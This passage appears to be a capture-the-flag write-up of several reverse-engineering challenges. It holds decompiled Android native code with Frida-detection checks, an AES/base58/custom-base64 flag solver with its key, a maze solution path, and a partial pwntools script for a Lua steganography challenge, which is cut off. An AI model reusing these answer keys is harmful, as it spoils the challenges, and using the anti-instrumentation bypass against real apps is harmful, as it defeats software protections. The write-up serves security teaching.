v43 = 0u;
v42 = 0u;
v41 = 0u;
v39 = 0;
v38 = 0;
if ( sscanf(s, byte_410B0, &v29, &v28, &v38, &v30, &v41) == 5
&& (unsigned __int8)v38 == 114
&& HIBYTE(v38) == 112
&& !v30
&& strlen((const char *)&v41)
&& (unsigned __int8)v41 != 91
&& v28 - (unsigned __int64)v29 > 0xF4240
&& !sub_11AC8((const char *)&v41, aDJ)
&& strstr((const char *)&v41, aZ) != (char *)&v41
&& (unsigned int)sub_116D0(v29, v28, (unsigned __int8 *)byte_41088, v14) == 1 )
{
dword_0 = 100;
break;
}
}
}
v18 = opendir((const char *)off_41050);
if ( v18 )
{
while ( 1 )
{
v17 = readdir(v18);
if ( !v17 )
break;
v56 = 0u;
v55 = 0u;
v54 = 0u;
v53 = 0u;
v52 = 0u;
v51 = 0u;
v50 = 0u;
v49 = 0u;
v48 = 0u;
v47 = 0u;
v46 = 0u;
v45 = 0u;
v44 = 0u;
v43 = 0u;
v42 = 0u;
v41 = 0u;
if ( strcmp(v17->d_name, byte_410DC) )
{
if ( strcmp(v17->d_name, byte_410E0) )
{
snprintf((char *)&v41, 0x100u, (const char *)off_41058, v17->d_name);
fd = linux_eabi_syscall(__NR_openat, -100, (const char *)&v41, 0x80000);
if ( fd )
{
v72 = 0u;
v71 = 0u;
v70 = 0u;
v69 = 0u;
v68 = 0u;
v67 = 0u;
v66 = 0u;
v65 = 0u;
v64 = 0u;
v63 = 0u;
v62 = 0u;
v61 = 0u;
v60 = 0u;
v59 = 0u;
v58 = 0u;
v57 = 0u;
sub_11F14(fd, &v57, 256LL, 0LL);
if ( strstr((const char *)&v57, (const char *)off_41060)
|| strstr((const char *)&v57, (const char *)off_41068) )
{
dword_0 = 100;
}
close(fd);
}
}
}
}
closedir(v18);
}
v20 = opendir(off_41070);
if ( v20 )
{
while ( 1 )
{
v19 = readdir(v20);
if ( !v19 )
break;
v56 = 0u;
v55 = 0u;
v54 = 0u;
v53 = 0u;
v52 = 0u;
v51 = 0u;
v50 = 0u;
v49 = 0u;
v48 = 0u;
v47 = 0u;
v46 = 0u;
v45 = 0u;
v44 = 0u;
v43 = 0u;
v42 = 0u;
v41 = 0u;
v72 = 0u;
v71 = 0u;
v70 = 0u;
v69 = 0u;
v68 = 0u;
v67 = 0u;
v66 = 0u;
v65 = 0u;
v64 = 0u;
v63 = 0u;
v62 = 0u;
v61 = 0u;
v60 = 0u;
v59 = 0u;
v58 = 0u;
v57 = 0u;
snprintf((char *)&v57, 0x100u, byte_410F0, v19->d_name);
lstat((const char *)&v57, (struct stat *)v31);
if ( (v32 & 0xF000) == 40960 )
{
v3 = (signed __int64)linux_eabi_syscall(__NR_readlinkat, -100, (const char *)&v57, (char *)&v41, 0x100u);
if ( strstr((const char *)&v41, (const char *)off_41078) )
dword_0 = 100;
}
}
}
closedir(v20);
if ( a3 && (unsigned int)sub_16254(a1, a3) == 16 )
{
v10 = sub_14F70(a1, a3, 0LL);
v9 = (_QWORD *)operator new[](0x10uLL);
v9[1] = 0LL;
*v9 = 0LL;
sub_FB40(v10, &unk_41140, v9);
v8 = (char *)sub_F7DC(v9, 16LL);
v7 = strlen(v8);
s1 = (char *)malloc(2 * v7);
memset(s1, 0, 2 * v7);
sub_13788(v8, v7, s1);
v21 = strlen(byte_41088);
v22 = linux_eabi_syscall(__NR_openat, -100, byte_41094, 0);
if ( v22 >= 1 )
{
while ( (int)my_read(v22, s, 0x200u) >= 1 )
{
if ( strstr(s, a3Z) )
dword_0 = 100;
v56 = 0u;
v55 = 0u;
v54 = 0u;
v53 = 0u;
v52 = 0u;
v51 = 0u;
v50 = 0u;
v49 = 0u;
v48 = 0u;
v47 = 0u;
v46 = 0u;
v45 = 0u;
v44 = 0u;
v43 = 0u;
v42 = 0u;
v41 = 0u;
v39 = 0;
v38 = 0;
if ( sscanf(s, byte_410B0, &v34, &v33, &v38, &v35, &v41) == 5
&& (unsigned __int8)v38 == 114
&& HIBYTE(v38) == 112
&& !v35
&& strlen((const char *)&v41)
&& (unsigned __int8)v41 != 91
&& v33 - (unsigned __int64)v34 > 0xF4240
&& !sub_11AC8((const char *)&v41, aDJ)
&& strstr((const char *)&v41, aZ) != (char *)&v41
&& (unsigned int)sub_116D0(v34, v33, (unsigned __int8 *)byte_41088, v21) == 1 )
{
dword_0 = 100;
break;
}
}
}
v25 = opendir((const char *)off_41050);
if ( v25 )
{
while ( 1 )
{
v24 = readdir(v25);
if ( !v24 )
break;
v56 = 0u;
v55 = 0u;
v54 = 0u;
v53 = 0u;
v52 = 0u;
v51 = 0u;
v50 = 0u;
v49 = 0u;
v48 = 0u;
v47 = 0u;
v46 = 0u;
v45 = 0u;
v44 = 0u;
v43 = 0u;
v42 = 0u;
v41 = 0u;
if ( strcmp(v24->d_name, byte_410DC) )
{
if ( strcmp(v24->d_name, byte_410E0) )
{
snprintf((char *)&v41, 0x100u, (const char *)off_41058, v24->d_name);
v23 = linux_eabi_syscall(__NR_openat, -100, (const char *)&v41, 0x80000);
if ( v23 )
{
v72 = 0u;
v71 = 0u;
v70 = 0u;
v69 = 0u;
v68 = 0u;
v67 = 0u;
v66 = 0u;
v65 = 0u;
v64 = 0u;
v63 = 0u;
v62 = 0u;
v61 = 0u;
v60 = 0u;
v59 = 0u;
v58 = 0u;
v57 = 0u;
sub_11F14(v23, &v57, 256LL, 0LL);
if ( strstr((const char *)&v57, (const char *)off_41060)
|| strstr((const char *)&v57, (const char *)off_41068) )
{
dword_0 = 100;
}
close(v23);
}
}
}
}
closedir(v25);
}
v27 = opendir(off_41070);
if ( v27 )
{
while ( 1 )
{
v26 = readdir(v27);
if ( !v26 )
break;
v56 = 0u;
v55 = 0u;
v54 = 0u;
v53 = 0u;
v52 = 0u;
v51 = 0u;
v50 = 0u;
v49 = 0u;
v48 = 0u;
v47 = 0u;
v46 = 0u;
v45 = 0u;
v44 = 0u;
v43 = 0u;
v42 = 0u;
v41 = 0u;
v72 = 0u;
v71 = 0u;
v70 = 0u;
v69 = 0u;
v68 = 0u;
v67 = 0u;
v66 = 0u;
v65 = 0u;
v64 = 0u;
v63 = 0u;
v62 = 0u;
v61 = 0u;
v60 = 0u;
v59 = 0u;
v58 = 0u;
v57 = 0u;
snprintf((char *)&v57, 0x100u, byte_410F0, v26->d_name);
lstat((const char *)&v57, (struct stat *)v36);
if ( (v37 & 0xF000) == 40960 )
{
v4 = (signed __int64)linux_eabi_syscall(__NR_readlinkat, -100, (const char *)&v57, (char *)&v41, 0x100u);
if ( strstr((const char *)&v41, (const char *)off_41078) )
dword_0 = 100;
}
}
}
closedir(v27);
v13 = strcmp(s1, a631) == 0;
}
else
{
v13 = 0;
}
_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
return v13;
}
After eliminating the code related to firda feature detection in this function, the real logic of this function can be obtained as follows:
bool __fastcall sub_8965(__int64 env, __int64 a2, __int64 content_jstring)
{
signed __int64 v3; // x0
signed __int64 v4; // x0
char *s1; // [xsp+160h] [xbp-A50h]
size_t v7; // [xsp+16Ch] [xbp-A44h]
char *v8; // [xsp+170h] [xbp-A40h]
_QWORD *v9; // [xsp+198h] [xbp-A18h]
__int64 v10; // [xsp+1A8h] [xbp-A08h]
bool v13; // [xsp+1CCh] [xbp-9E4h]
unsigned int v14; // [xsp+1E4h] [xbp-9CCh]
int v15; // [xsp+1F4h] [xbp-9BCh]
unsigned int fd; // [xsp+2ACh] [xbp-904h]
struct dirent *v17; // [xsp+2B0h] [xbp-900h]
DIR *v18; // [xsp+2B8h] [xbp-8F8h]
struct dirent *v19; // [xsp+370h] [xbp-840h]
DIR *v20; // [xsp+378h] [xbp-838h]
unsigned int v21; // [xsp+424h] [xbp-78Ch]
int v22; // [xsp+434h] [xbp-77Ch]
unsigned int v23; // [xsp+4ECh] [xbp-6C4h]
struct dirent *v24; // [xsp+4F0h] [xbp-6C0h]
DIR *v25; // [xsp+4F8h] [xbp-6B8h]
struct dirent *v26; // [xsp+5B0h] [xbp-600h]
DIR *v27; // [xsp+5B8h] [xbp-5F8h]
unsigned __int64 v28; // [xsp+658h] [xbp-558h] BYREF
unsigned __int8 *v29; // [xsp+660h] [xbp-550h] BYREF
__int64 v30; // [xsp+668h] [xbp-548h] BYREF
char v31[16]; // [xsp+670h] [xbp-540h] BYREF
int v32; // [xsp+680h] [xbp-530h]
unsigned __int64 v33; // [xsp+6F0h] [xbp-4C0h] BYREF
unsigned __int8 *v34; // [xsp+6F8h] [xbp-4B8h] BYREF
__int64 v35; // [xsp+700h] [xbp-4B0h] BYREF
char v36[16]; // [xsp+708h] [xbp-4A8h] BYREF
int v37; // [xsp+718h] [xbp-498h]
int v38; // [xsp+788h] [xbp-428h] BYREF
char v39; // [xsp+78Ch] [xbp-424h]
char s[512]; // [xsp+790h] [xbp-420h] BYREF
__int128 v41; // [xsp+990h] [xbp-220h] BYREF
__int128 v42; // [xsp+9A0h] [xbp-210h]
__int128 v43; // [xsp+9B0h] [xbp-200h]
__int128 v44; // [xsp+9C0h] [xbp-1F0h]
__int128 v45; // [xsp+9D0h] [xbp-1E0h]
__int128 v46; // [xsp+9E0h] [xbp-1D0h]
__int128 v47; // [xsp+9F0h] [xbp-1C0h]
__int128 v48; // [xsp+A00h] [xbp-1B0h]
__int128 v49; // [xsp+A10h] [xbp-1A0h]
__int128 v50; // [xsp+A20h] [xbp-190h]
__int128 v51; // [xsp+A30h] [xbp-180h]
__int128 v52; // [xsp+A40h] [xbp-170h]
__int128 v53; // [xsp+A50h] [xbp-160h]
__int128 v54; // [xsp+A60h] [xbp-150h]
__int128 v55; // [xsp+A70h] [xbp-140h]
__int128 v56; // [xsp+A80h] [xbp-130h]
__int128 v57; // [xsp+A90h] [xbp-120h] BYREF
__int128 v58; // [xsp+AA0h] [xbp-110h]
__int128 v59; // [xsp+AB0h] [xbp-100h]
__int128 v60; // [xsp+AC0h] [xbp-F0h]
__int128 v61; // [xsp+AD0h] [xbp-E0h]
__int128 v62; // [xsp+AE0h] [xbp-D0h]
__int128 v63; // [xsp+AF0h] [xbp-C0h]
__int128 v64; // [xsp+B00h] [xbp-B0h]
__int128 v65; // [xsp+B10h] [xbp-A0h]
__int128 v66; // [xsp+B20h] [xbp-90h]
__int128 v67; // [xsp+B30h] [xbp-80h]
__int128 v68; // [xsp+B40h] [xbp-70h]
__int128 v69; // [xsp+B50h] [xbp-60h]
__int128 v70; // [xsp+B60h] [xbp-50h]
__int128 v71; // [xsp+B70h] [xbp-40h]
__int128 v72; // [xsp+B80h] [xbp-30h]
__int64 v73; // [xsp+B98h] [xbp-18h]
v73 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
if ( content_jstring && (unsigned int)sub_16254(env, content_jstring) == 16 )
{
v10 = GetStringUtfChars(env, content_jstring, 0LL);
v9 = (_QWORD *)operator new[](0x10uLL);
v9[1] = 0LL;
*v9 = 0LL;
sub_FB40(v10, &unk_41140, v9);
v8 = (char *)sub_F7DC(v9, 16LL);
v7 = strlen(v8);
s1 = (char *)malloc(2 * v7);
memset(s1, 0, 2 * v7);
sub_13788(v8, v7, s1);
v13 = strcmp(s1, a631) == 0;
}
else
{
v13 = 0;
}
_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
return v13;
}
It can be seen that the function first judges the length of the input jstring to determine whether it is 16. and then calls the sub_FB40 function to encrypt the input 16 characters. The figure below shows the AES encryption algorithm recognized by the FindCrypt plug-in of ida.
Combined with the frida script to hook the parameters and return value of this function, it can be quickly concluded that the function is AES encryption for the input 16-byte content, the encryption mode is ECB mode, and the second parameter is the key, and the key is goodlucksmartman.
The third parameter is the encrypted cipher text, and then call the sub_F7DC function to recalculate the AES-encrypted cipher text, the following is the f5 code of the sub_F7DC function:
unsigned __int8 *__fastcall sub_F7DC(__int64 a1, unsigned __int64 a2)
{
unsigned __int64 v2; // x11
__int64 v3; // x10
bool v5; // [xsp+18h] [xbp-78h]
unsigned __int64 v6; // [xsp+30h] [xbp-60h]
div_t v7; // [xsp+38h] [xbp-58h]
unsigned __int64 v8; // [xsp+40h] [xbp-50h]
unsigned __int64 v9; // [xsp+48h] [xbp-48h]
int v10; // [xsp+54h] [xbp-3Ch]
unsigned __int64 v11; // [xsp+58h] [xbp-38h]
unsigned __int64 j; // [xsp+60h] [xbp-30h]
unsigned __int64 v13; // [xsp+60h] [xbp-30h]
unsigned __int8 *v14; // [xsp+68h] [xbp-28h]
unsigned __int64 i; // [xsp+78h] [xbp-18h]
for ( i = 0LL; !*(_BYTE *)(a1 + i); ++i )
;
v14 = (unsigned __int8 *)malloc((unsigned int)(138 * a2 / 0x64) + 2);
memset(v14, 0, 138 * a2 / 0x64 + 2);
for ( j = 0LL; j < i; ++j )
{
v2 = j;
v14[v2] = *(_BYTE *)off_41008;
}
v11 = 0LL;
while ( j < a2 )
{
v3 = j++;
v10 = *(unsigned __int8 *)(a1 + v3);
v9 = 0LL;
v8 = 138 * a2 / 0x64 + 1;
while ( 1 )
{
if ( v10 || (v5 = 0, v9 < v11) )
v5 = v8 != 0;
if ( !v5 )
break;
v7 = div(v10 + (v14[--v8] << 8), 58);
v14[v8] = v7.rem;
v10 = LOBYTE(v7.quot);
++v9;
}
v11 = v9;
}
v13 = i;
v6 = 138 * a2 / 0x64 + 1 - v11 - i;
while ( v13 < i + v11 )
{
v14[v13] = *((_BYTE *)off_41008 + v14[v13 + v6]);
++v13;
}
if ( v6 )
v14[v13] = 0;
return v14;
}
By reversing this function, it can be found that there are several typical constants such as 58 and 138 in this function. At the same time, combined with the above table lookup operation and writing a frida hook script for verification, you can find that this function performs base58 encoding on the encrypted 16-byte ciphertext. The return value is the encoded string,
Next, the sub_13788 function is called again to calculate the base58-encoded string again, and the third parameter is finally compared with another string by calling the strcmp function. When the result returns 0, the jni function finally returns 1, and the sub_13788 function The code after f5 is as follows:
__int64 __fastcall sub_13788(__int64 a1, unsigned int a2, __int64 a3)
{
__int64 v3; // x13
__int64 v4; // x14
__int64 v5; // x16
__int64 v6; // x16
__int64 v7; // x13
__int64 v8; // x13
__int64 v9; // x13
__int64 v10; // x13
__int64 v11; // x13
unsigned __int8 v13; // [xsp+2Ah] [xbp-26h]
unsigned __int8 v14; // [xsp+2Bh] [xbp-25h]
unsigned int v15; // [xsp+2Ch] [xbp-24h]
unsigned int v16; // [xsp+2Ch] [xbp-24h]
unsigned int v17; // [xsp+2Ch] [xbp-24h]
unsigned int v18; // [xsp+2Ch] [xbp-24h]
unsigned int i; // [xsp+30h] [xbp-20h]
int v20; // [xsp+34h] [xbp-1Ch]
v20 = 0;
v13 = 0;
v15 = 0;
for ( i = 0; i < a2; ++i )
{
v14 = *(_BYTE *)(a1 + i);
if ( v20 )
{
if ( v20 == 1 )
{
v20 = 2;
v4 = v15++;
*(_BYTE *)(a3 + v4) = byte_33F0F[(16 * (v13 & 3)) | ((int)v14 >> 4) & 0xF];
}
else
{
v20 = 0;
v5 = v15;
v16 = v15 + 1;
*(_BYTE *)(a3 + v5) = byte_33F0F[(4 * (v13 & 0xF)) | ((int)v14 >> 6) & 3];
v6 = v16;
v15 = v16 + 1;
*(_BYTE *)(a3 + v6) = byte_33F0F[v14 & 0x3F];
}
}
else
{
v20 = 1;
v3 = v15++;
*(_BYTE *)(a3 + v3) = byte_33F0F[((int)v14 >> 2) & 0x3F];
}
v13 = v14;
}
if ( v20 == 1 )
{
v7 = v15;
v17 = v15 + 1;
*(_BYTE *)(a3 + v7) = byte_33F0F[16 * (v13 & 3)];
v8 = v17++;
*(_BYTE *)(a3 + v8) = 61;
v9 = v17;
v15 = v17 + 1;
*(_BYTE *)(a3 + v9) = 61;
}
else if ( v20 == 2 )
{
v10 = v15;
v18 = v15 + 1;
*(_BYTE *)(a3 + v10) = byte_33F0F[4 * (v13 & 0xF)];
v11 = v18;
v15 = v18 + 1;
*(_BYTE *)(a3 + v11) = 61;
}
*(_BYTE *)(a3 + v15) = 0;
return v15;
}
Reverse the function, and write frida code to observe the parameters when the function is called and the returned result 1, you can quickly determine that the function is a base64 encoding algorithm, and the encoding table is the content saved in byte_33F0F. The encoding table is as follows:
.rodata:0000000000033F0F 2B 2F 45 46+byte_33F0F DCB 0x2B, 0x2F, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B
.rodata:0000000000033F0F 47 48 49 4A+ ; DATA XREF: sub_13788+8↑o
.rodata:0000000000033F0F 4B 4C 4D 4E+ DCB 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54
.rodata:0000000000033F0F 4F 50 51 52+ DCB 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x61, 0x62, 0x63
.rodata:0000000000033F0F 53 54 55 56+ DCB 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C
.rodata:0000000000033F0F 57 58 59 5A+ DCB 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75
.rodata:0000000000033F0F 61 62 63 64+ DCB 0x76, 0x77, 0x78, 0x79, 0x7A, 0x30, 0x31, 0x32, 0x33
.rodata:0000000000033F0F 65 66 67 68+ DCB 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x41, 0x42, 0x43
.rodata:0000000000033F0F 69 6A 6B 6C+ DCB 0x44
It can be found that the base64 encoding table here has modified the standard encoding table, and the modified encoding table is “+/EFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789ABCD”.
Therefore, the verification logic of the jni function is to use goodlucksmartman
as the key to encrypt the string with an input length of 16 in AES128 and ECB mode, then perform base58 encoding on the cipher text, and finally use the modified base64 encoding table for the base58 encoding result Encode again and finally compare with SVTsfWzSYGPWdYXodVbvbni6doHzSi==
.
4
import string
from Crypto.Cipher import AES
base64_charset = "+/EFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789ABCD="
def encode(origin_bytes):
base64_bytes = ['{:0>8}'.format(str(bin(b)).replace('0b', '')) for b in origin_bytes]
resp = ''
nums = len(base64_bytes) // 3
remain = len(base64_bytes) % 3
integral_part = base64_bytes[0:3 * nums]
while integral_part:
tmp_unit = ''.join(integral_part[0:3])
tmp_unit = [int(tmp_unit[x: x + 6], 2) for x in [0, 6, 12, 18]]
resp += ''.join([base64_charset[i] for i in tmp_unit])
integral_part = integral_part[3:]
if remain:
remain_part = ''.join(base64_bytes[3 * nums:]) + (3 - remain) * '0' * 8
tmp_unit = [int(remain_part[x: x + 6], 2) for x in [0, 6, 12, 18]][:remain + 1]
resp += ''.join([base64_charset[i] for i in tmp_unit]) + (3 - remain) * '='
return resp
def decode(base64_str):
base64_bytes = ['{:0>6}'.format(str(bin(base64_charset.index(s))).replace('0b', '')) for s in base64_str if
s != '=']
resp = bytearray()
nums = len(base64_bytes) // 4
remain = len(base64_bytes) % 4
integral_part = base64_bytes[0:4 * nums]
while integral_part:
tmp_unit = ''.join(integral_part[0:4])
tmp_unit = [int(tmp_unit[x: x + 8], 2) for x in [0, 8, 16]]
for i in tmp_unit:
resp.append(i)
integral_part = integral_part[4:]
if remain:
remain_part = ''.join(base64_bytes[nums * 4:])
tmp_unit = [int(remain_part[i * 8:(i + 1) * 8], 2) for i in range(remain - 1)]
for i in tmp_unit:
resp.append(i)
return resp
def base58_decode(cipher_input):
base58 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"
cipher = cipher_input
tmp = []
for item in cipher:
tmp.append(base58.find(item))
temp = tmp[0]
for i in range(len(tmp) - 1):
temp = temp * 58 + tmp[i + 1]
temp = bin(temp).replace('0b', '')
remainder = len(temp) % 8
plain_text = ''
if remainder != 0:
temp_start = temp[0:remainder]
plain_text = chr(int(temp[0:remainder], 2))
for i in range(remainder, len(temp), 8):
# print(chr(int((temp[i:i+8]), 2)))
plain_text += chr(int((temp[i:i + 8]), 2))
i += 8
return plain_text
def getflag(cipher):
bytes=decode(cipher)
#A4juLPXCTmefm6mfX8naqB
import base58
content = base58.b58decode(bytes)
print(content)
#b'Ig\xeb2\x9d\x05a\xda\xdb\x07\xd7Z\xb9\x01\xb2F'
password = b'goodlucksmartman'
content=b'Ig\xeb2\x9d\x05a\xda\xdb\x07\xd7Z\xb9\x01\xb2F'
aes = AES.new(password, AES.MODE_ECB)
flag = aes.decrypt(content)
print("flag:", flag)
if __name__ == '__main__':
cipher="SVTsfWzSYGPWdYXodVbvbni6doHzSi=="
getflag(cipher)
huowang
design ideas
The challenge implements two mazes, one is written directly in the program in the form of novice exercises, and the other is written in the unicorn code by gradually solving the space. Players need to enter a path that can walk out of two mazes at the same time.
solving ideas
The external maze can be directly dumped, and the internal maze can analyze and solve the room method, which is an XOR of the code segment. A script can be constructed to restore all the rooms and get the second maze. Then you can write a script to solve a shortest public path. I will not write scripts if I am lazy here. The picture below shows two mazes.
script
Here are two mazes
* *********************
* * * * *
* * * * *** * *** * * *
* * * * * * * *
* * * ********* * *** *
* * * * * * *
* * ***** * * ***** * *
* * * * * *
*** * * *** * *** *** *
* * * * * * * *
* *** *** * * * *** *
* * * * * * * *
* * * * *** * ***** * *
* * * * * *
* *********** *** * * *
* * * * * *
* ********* ********* *
* ** *** * * *
* * **** ** ***** * *
* * * * * * *
* * * * * ***** ***** *
* * * *
********************* *
* *********************
* * * *
* * * * *** * *** * * *
* * * * * * * *
* * * ********* * *** *
* * * * * * *
* * ***** * * ***** * *
* * * * * * * *
*** * * *** * *** *****
* * * * * * *
* *** *** * ***** *
* * * * * * * *
* * * * *** * ***** * *
* * * * * ***
* *************** * ***
* * * * *
* ********* ******* * *
* ****** * * *
*** * **** ** ***** ***
* * * * * * * *
* * * * * ***** ***** *
* * * * *
********************* *
The mazes are not big and can be solved by hand.
sssddwwddssssddddssaassddssaassddddwwwwwwwwddddwwddwwddddssssaassaassaassddddssaassaaaaaassassdddwwddddddssaaaassdddddds
picStore(re)
introduction to challenge
It is a menu challenge, with five options and five functions, as follows:
Main function: Use the lowest bit of RBG data in bmp pictures to realize concealed data transmission.
Reverse difficulty
I modified the storage method of several types of basic data in the lua source code, resulting in the inability to decompile and disassemble normally, as follows:
static void DumpByte (int y, DumpState *D) {
lu_byte x = (lu_byte)y;
//modify_start
int i;
unsigned char *ptr = (unsigned char *)&x;
for (i = 0; i < 1; i++)
if (ptr[i] != 0 && ptr[i] != 0xff)
ptr[i] ^= 0xff;
//modify_end
DumpVar(x, D);
}
static void DumpInt (int x, DumpState *D) {
//modify_start
int i;
unsigned char *ptr = (unsigned char *)&x;
for (i = 0; i < 4; i++)
if (ptr[i] != 0 && ptr[i] != 0xff)
ptr[i] ^= 0xff;
//modify_end
DumpVar(x, D);
}
static void DumpNumber (lua_Number x, DumpState *D) {
//modify_start
int i;
unsigned char *ptr = (unsigned char *)&x;
for (i = 0; i < 8; i++)
if (ptr[i] != 0 && ptr[i] != 0xff)
ptr[i] ^= 0xff;
//modify_end
DumpVar(x, D);
}
static void DumpInteger (lua_Integer x, DumpState *D) {
//modify_start
int i;
unsigned char *ptr = (unsigned char *)&x;
for (i = 0; i < 8; i++)
if (ptr[i] != 0 && ptr[i] != 0xff)
ptr[i] ^= 0xff;
//modify_end
DumpVar(x, D);
}
static lu_byte LoadByte (LoadState *S) {
lu_byte x;
LoadVar(S, x);
//modify_start
int i;
unsigned char *ptr = (unsigned char *)&x;
for (i = 0; i < 1; i++)
if (ptr[i] != 0 && ptr[i] != 0xff)
ptr[i] ^= 0xff;
//modify_end
return x;
}
static int LoadInt (LoadState *S) {
int x;
LoadVar(S, x);
//modify_start
int i;
unsigned char *ptr = (unsigned char *)&x;
for (i = 0; i < 4; i++)
if (ptr[i] != 0 && ptr[i] != 0xff)
ptr[i] ^= 0xff;
//modify_end
return x;
}
static lua_Number LoadNumber (LoadState *S) {
lua_Number x;
LoadVar(S, x);
//modify_start
int i;
unsigned char *ptr = (unsigned char *)&x;
for (i = 0; i < 8; i++)
if (ptr[i] != 0 && ptr[i] != 0xff)
ptr[i] ^= 0xff;
//modify_end
return x;
}
static lua_Integer LoadInteger (LoadState *S) {
lua_Integer x;
LoadVar(S, x);
//modify_start
int i;
unsigned char *ptr = (unsigned char *)&x;
for (i = 0; i < 8; i++)
if (ptr[i] != 0 && ptr[i] != 0xff)
ptr[i] ^= 0xff;
//modify_end
return x;
}
It is necessary to modify the lua decompilation engine according to the abnormal situation of disassembly, and finally realize the disassembly.
solution
Use table replacement and unary multiple equations to solve. See the script for details.
from pwn import *
show_info_sign = True
def show_debug_info(flag = True):
global show_info_sign
if flag == True:
#context.log_level = 'DEBUG'
show_info_sign = True
else:
#context.log_level = 'info'
show_info_sign = False
def d2v_x64(data):
return u64(data[:8].ljust(8, '\x00'))
def d2v_x32(data):
return u32(data[:4].ljust(4, '\x00'))
def expect_data(io_or_data, b_str = None, e_str = None):
if type(io_or_data) != str:
t_io = io_or_data
if b_str != None and b_str != "":
recvuntil(t_io, b_str)
data = recvuntil(t_io, e_str)[:-len(e_str)]
else:
if b_str == None or b_str == "":
b_pos = 0
else:
t_data = io_or_data
b_pos = t_data.find(b_str)
if b_pos == -1:
return ""
b_pos += len(b_str)
if e_str == None or e_str == "":
data = t_data[b_pos:]
else:
e_pos = t_data.find(e_str, b_pos)
if e_pos == -1:
return ""
data = t_data[b_pos:e_pos]
return data
import sys
def show_echo(data):
global show_info_sign
if show_info_sign:
sys.stdout.write(data)
def recv(io, size):
data = io.recv(size)
show_echo(data)
return data
def recvuntil(io, info):
data = io.recvuntil(info)
show_echo(data)
return data
def send(io, data):
io.send(data)
show_echo(data)
def sendline(io, data):
send(io, data + "\n")
def rd_wr_str(io, info, buff):
#io.recvuntil(info, timeout = 2)
#io.send(buff)
data = recvuntil(io, info)
send(io, buff)
return data
def rd_wr_int(io, info, val):
return rd_wr_str(io, info, str(val) + "\n")
def r_w(io, info, data):
if type(data) == int:
return rd_wr_int(io, info, data)
else:
return rd_wr_str(io, info, data)
def set_context():
binary_elf = ELF(binary_path)
context(arch = binary_elf.arch, os = 'linux', endian = binary_elf.endian)
import commands
def do_command(cmd_line):
(status, output) = commands.getstatusoutput(cmd_line)
return output
global_pid_int = -1
def gdb_attach(io, break_list = [], is_pie = False, code_base = 0, gdbscript_pre = "", gdbscript_suf = "c\n"):
global global_pid_int
if is_dbg:
set_pid(io)
if is_pie == True:
if code_base == 0:
set_pid(io)
data = do_command("cat /proc/%d/maps"%global_pid_int)
code_base = int(data.split("\n")[0].split("-")[0], 16)
gdbscript = ""
gdbscript += gdbscript_pre
for item in break_list:
gdbscript += "b *0x%x\n"%(item + code_base)
gdbscript += gdbscript_suf
#gdb.attach(global_pid_int, gdbscript = gdbscript, exe = binary_path)
gdb.attach(global_pid_int, gdbscript = gdbscript)
def set_pid(io):
global global_pid_int
if global_pid_int == -1:
if is_dbg:
"""
data = do_command("ps -aux | grep -E '%s$'"%(binary_path.replace("./", ""))).strip().split("\n")[-1]
#print "-"*0x10
#print repr(data)
items = data.split(" ")[1:]
global_pid_int = 0
i = 0
while len(items[i]) == 0:
i += 1
global_pid_int = int(items[i])
#"""
global_pid_int = pidof(io)[0]
def gdb_hint(io, info = ""):
if info != "":
print info
if is_dbg:
set_pid(io)
raw_input("----attach pidof '%d', press enter to continue......----"%global_pid_int)
if info != "":
print "pass", info
def get_io(target):
if type(target) == str:
#io = process(target, display = True, aslr = None, env = {"LD_PRELOAD":libc_file_path})
io = process(target, shell = True, display = True, aslr = None, env = {"LD_PRELOAD":libc_file_path})
else:
io = remote(target[0], target[1])
return io
def r_w(io, info, data):
if type(data) == int:
rd_wr_int(io, info, data)
else:
rd_wr_str(io, info, data)
def m_c(io, choice, prompt = ">> "):
r_w(io, prompt, choice)
def s_i(io, choice, prompt = [": "]):
r_w(io, prompt, choice)
def pack_img(data, size = None, add_width = 0):
height = 1
if size is None:
size = len(data)<<3
use_size = len(data) << 3
if use_size % 3 != 0:
use_size += 3 - (use_size %3)
width = use_size / 3
width += add_width
#if width == 0:
# width = 1
file_size = 0x36 + 3*width*height
bmfh = ""
bmfh += "BM"
bmfh += p32(file_size)
bmfh += p16(size)
bmfh += p16(0)
bmfh += p32(0x36)
bmih = ""
bmih += p32(40)
bmih += p32(width)
bmih += p32(height)
bmih += p16(1)
bmih += p16(24)
bmih += p32(0)
bmih += p32(3*width*height)
bmih += p32(0)*4
body = ""
for val in data:
val = ord(val)
for i in range(8):
bit = val&1
val >>= 1
body += p8(bit)
#print("width = %x, height = %x, 3*height*width=%x, len(data)=%x"%(width, height, 3*height*width, len(data)))
#raw_input("tt")
if len(body) < 3*width*height:
body = body.ljust(3*width*height, '\x00')
return bmfh + bmih + body
def upload_data(io, data, size = None):
m_c(io, 1)
recvuntil(io, ": ")
#io.interactive()
if size is None:
size = len(data)
MAX_BLOCK_SIZE = 0x1200
for i in range(0, size, MAX_BLOCK_SIZE / 8):
use_data = data[i:i+MAX_BLOCK_SIZE / 8]
#print("i: ", hex(i), hex(MAX_BLOCK_SIZE/8), hex(len(data)))
if i == 0:
use_size = size << 3
else:
use_size = len(use_data) << 3
img_data = pack_img(use_data, use_size)
#print("hex(len(img_data)): ", hex(len(img_data)))
send(io, img_data)
def download_data(io, idx):
m_c(io, 2)
s_i(io, idx)
res = recvuntil(io, "img data: ")
print("res: ", repr(res))
MAX_BLOCK_SIZE = 0x1200
count_idx = 0
data_size = 0
data_all = ""
while True:
data = recv(io, 0x36)
file_size = u32(data[2:2+4])
msg_size = u16(data[6:6+2])
print("file_size: ", hex(file_size))
print("msg_size: ", hex(msg_size))
data = ""
left_size = file_size - 0x36
while left_size > 0:
data += recv(io, left_size)
